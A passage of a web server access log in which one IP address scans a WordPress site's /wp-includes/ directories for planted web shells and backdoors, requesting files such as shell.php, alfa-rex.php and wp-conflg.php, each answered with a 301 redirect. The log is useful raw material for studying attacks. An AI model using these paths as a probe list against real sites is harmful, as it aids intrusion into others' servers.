HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:33 -0400] "GET /wp-includes/5nUKyurCbLe.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:34 -0400] "GET /wp-includes/5qK7TMEc8fY.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:36 -0400] "GET /wp-includes/5tocX6Gkref.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:37 -0400] "GET /wp-includes/624jlHax7f5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:38 -0400] "GET /wp-includes/6EeSZtdQrch.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:39 -0400] "GET /wp-includes/6I2vUbTadJO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:39 -0400] "GET /wp-includes/6U71KzQC98S.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:40 -0400] "GET /wp-includes/6ZKP9RiYwlM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:41 -0400] "GET /wp-includes/6g3VEPfspOJ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:42 -0400] "GET /wp-includes/6kjOKB13oiW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:42 -0400] "GET /wp-includes/7LGSNpCH2Ai.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:43 -0400] "GET /wp-includes/7QkOwJbC4uB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:44 -0400] "GET /wp-includes/7XhnbeQUrHB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:45 -0400] "GET /wp-includes/7kGBWef4vJE.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:46 -0400] "GET /wp-includes/7tc9J8MbNDP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:47 -0400] "GET /wp-includes/849MWReQf5d.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:48 -0400] "GET /wp-includes/85YZsyCUMRH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:49 -0400] "GET /wp-includes/8XnPa2ebzjt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:50 -0400] "GET /wp-includes/8a1GFlXOC3W.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:50 -0400] "GET /wp-includes/95GjR2oLVAq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:51 -0400] "GET /wp-includes/9KclI8whVCt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:52 -0400] "GET /wp-includes/9KoYaRW2ViG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:53 -0400] "GET /wp-includes/9hloDMCajiE.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:54 -0400] "GET /wp-includes/9wHCYkXhFat.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:55 -0400] "GET /wp-includes/ADdHqTvWe2p.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:56 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:56 -0400] "GET /wp-includes/AYWw86V4lCb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:57 -0400] "GET /wp-includes/Ab5tdXYSp3m.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:58 -0400] "GET /wp-includes/AeLiyXCsWRP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:58 -0400] "GET /wp-includes/Am8DjQ1hYCM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:11:59 -0400] "GET /wp-includes/BNdZcrqfp96.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:00 -0400] "GET /wp-includes/BSKlRtNkd7T.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:00 -0400] "GET /wp-includes/BW78qubSIi6.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:01 -0400] "GET /wp-includes/BibpeUT6Srj.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:03 -0400] "GET /wp-includes/BlANITrsFn8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:04 -0400] "GET /wp-includes/C7aqylzu2vp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:05 -0400] "GET /wp-includes/CQ3u7inwjcm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:06 -0400] "GET /wp-includes/CWOqpEgKZFG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:08 -0400] "GET /wp-includes/CZVFJ1iETu9.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:09 -0400] "GET /wp-includes/Cla7mpMXqtZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:11 -0400] "GET /wp-includes/Cpg5hsHwVa3.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:13 -0400] "GET /wp-includes/CqPtQH6xgFv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:14 -0400] "GET /wp-includes/D2a4qMfz8OV.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:15 -0400] "GET /wp-includes/D3XbzaLTdoy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:16 -0400] "GET /wp-includes/DBb75TX4aSq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:17 -0400] "GET /wp-includes/DbBih7UaJ18.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:18 -0400] "GET /wp-includes/DdWzLZVYfG4.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:19 -0400] "GET /wp-includes/DfO9S2sWQeR.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:20 -0400] "GET /wp-includes/E52uQzbthDP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:21 -0400] "GET /wp-includes/E7caMueJAdD.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:22 -0400] "GET /wp-includes/EM2AyNLX1Zx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:23 -0400] "GET /wp-includes/EO2kroQhpUu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:23 -0400] "GET /wp-includes/EoeIH4JmfTi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:24 -0400] "GET /wp-includes/F8Jx6Xd2jpQ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:25 -0400] "GET /wp-includes/FBpLfr2oR3M.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:25 -0400] "GET /wp-includes/FRmiwXUtO2K.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:26 -0400] "GET /wp-includes/G3jIOZXasr7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:27 -0400] "GET /wp-includes/GahxXyLrlK3.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:28 -0400] "GET /wp-includes/GlRsTyKuOLA.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:28 -0400] "GET /wp-includes/H4PwluIEUzJ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:29 -0400] "GET /wp-includes/HJen2iTjI54.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:31 -0400] "GET /wp-includes/HdkrAtBgUxW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:32 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:33 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:34 -0400] "GET /wp-includes/ID3/?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:35 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:36 -0400] "GET /wp-includes/ID3/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:36 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:37 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:38 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:38 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:39 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:40 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:40 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:42 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:42 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:43 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:44 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:45 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:45 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:46 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:47 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:48 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:49 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:50 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:51 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:52 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:52 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:53 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:54 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:55 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:56 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:57 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:57 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:58 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:59 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:12:59 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:00 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:01 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:01 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:02 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:03 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:03 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:04 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:05 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:06 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:07 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:07 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:08 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:09 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:09 -0400] "GET /wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:10 -0400] "GET /wp-includes/NCImtphZOK5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:11 -0400] "GET /wp-includes/O5Z8Gyn4EIh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:12 -0400] "GET /wp-includes/OYStpqjgDZ5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:13 -0400] "GET /wp-includes/OhpfCSna9Vc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:13 -0400] "GET /wp-includes/OwG5LmjClXZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:14 -0400] "GET /wp-includes/PBfZp95n2Ud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:15 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:15 -0400] "GET /wp-includes/PHPMailer//2222.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:16 -0400] "GET /wp-includes/PHPMailer//Ab0ut.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:17 -0400] "GET /wp-includes/PHPMailer//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:17 -0400] "GET /wp-includes/PHPMailer//indexx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:18 -0400] "GET /wp-includes/PHPMailer//themes-install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:19 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:20 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:20 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:21 -0400] "GET /wp-includes/PHPMailer/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:22 -0400] "GET /wp-includes/Q4TbrMq6sSk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:23 -0400] "GET /wp-includes/Q8yL6j2i9zk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:23 -0400] "GET /wp-includes/QLJoTSZn46j.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:24 -0400] "GET /wp-includes/QewG7L1lTkb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:25 -0400] "GET /wp-includes/QgfAohVSwD1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:26 -0400] "GET /wp-includes/Qj9rebE2xow.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:27 -0400] "GET /wp-includes/Qm9vKED1AXP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:28 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:29 -0400] "GET /wp-includes/Requests//cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:30 -0400] "GET /wp-includes/Requests//hellodoyyl.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:31 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:32 -0400] "GET /wp-includes/Requests/Auth//images.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:33 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.87.64.168 - - [18/Apr/2025:08:13:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GTmetrix" 52.138.175.243 - - [18/Apr/2025:08:13:34 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:35 -0400] "GET /wp-includes/Requests/Exception/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:36 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:36 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:38 -0400] "GET /wp-includes/Requests/Response//siteindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:38 -0400] "GET /wp-includes/Requests/Response//wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:39 -0400] "GET /wp-includes/Requests/Response/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:40 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:41 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:42 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:45 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:46 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:47 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:47 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:48 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:49 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:49 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:50 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:51 -0400] "GET /wp-includes/SimplePie//f-index4.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:52 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:52 -0400] "GET /wp-includes/SimplePie/Cache//cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:53 -0400] "GET /wp-includes/SimplePie/Cache/Hash.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:54 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:55 -0400] "GET /wp-includes/SimplePie/Content//makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:55 -0400] "GET /wp-includes/SimplePie/Content/Type//themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:56 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:57 -0400] "GET /wp-includes/SimplePie/Content/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:57 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:58 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:59 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:13:59 -0400] "GET /wp-includes/SimplePie/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:00 -0400] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:01 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:02 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:02 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:03 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:04 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:05 -0400] "GET /wp-includes/SimplePie/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:06 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:07 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:08 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:08 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:10 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:11 -0400] "GET /wp-includes/Text/Diff/Engine//shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:12 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:13 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:14 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:15 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:16 -0400] "GET /wp-includes/Text/Diff/Renderer/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:18 -0400] "GET /wp-includes/Text/Diff/Renderer/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:20 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:20 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:21 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:23 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:25 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:26 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:28 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:29 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:30 -0400] "GET /wp-includes/Text/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:31 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:31 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:32 -0400] "GET 